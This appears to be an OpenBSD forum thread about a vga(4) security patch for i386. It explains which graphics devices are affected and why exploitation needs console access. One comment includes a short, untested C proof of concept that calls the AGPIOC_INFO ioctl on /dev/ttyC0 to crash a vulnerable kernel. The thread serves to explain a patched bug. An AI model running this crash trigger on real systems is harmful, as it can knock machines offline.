i386 users: vga(4) security patch available

Of course not. It's not a remote exploit in the default install. It only works if the machine has a really rare setup.

> Time to reset the counter on the OpenBSD web page again?!

This is a local root exploit that was demonstrated by Ilja van Sprundel at 23C3.

See Unusual bugs 23c3.pdf and unusual-bugs-t4s1.wmv

> Does this bug affect systems with no graphics hardware? I have a pcengines box with serial console.

No.

This is only exploitable iff you have a vga device on your pci bus which is not one of PCI_VENDOR_ALI, PCI_VENDOR_AMD, PCI_VENDOR_INTEL, PCI_VENDOR_SIS, PCI_VENDOR_VIATECH.

E.g. this is exploitable:
vga1 at pci0 dev 15 function 0 vendor "VMware", unknown product 0x405 rev 0x00
Whereas this is not:
vga1 at pci0 dev 2 function 0 "Intel 82815 Graphics" rev 0x04: aperture at 0x44000000, size 0x4000000

The chip specific methods pointed to by sc->sc_methods in the patch remain uninitialised (or NULL) iff your card is not claimed by one of the drivers agp_ali.c, agp_amd.c, agp_i810.c, agp_intel.c, agp_sis.c, agp_via.c.

The following will probably crash a vulnerable machine (untested!):

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>

int main()
{
        agp_info ai;
        int fd;

        fd = open("/dev/ttyC0", O_RDONLY, 0);
        if (fd == -1) {
                perror("open");
                return -1;
        }

        if (ioctl(fd, AGPIOC_INFO, &ai) == -1) {
                perror("ioctl");
                return -1;
        }

        return 0;
}

The main problem with trying to exploit this is one needs a valid file descriptor for /dev/ttyC0. A regular user is not going to have even read permission on this file unless they login on the wsdisplay attached to the vga device (at which point the getty will chown /dev/ttyC0 for the user), i.e. they need to be sitting at a keyboard connected to the machine or they'll never be able to read /dev/ttyC0.

The interest in this exploit is largely academic - you wont be finding this used out in the wild. You probably do not need to patch your systems. But hey, that's just the ramblings of some guy on undeadly... do you really trust that?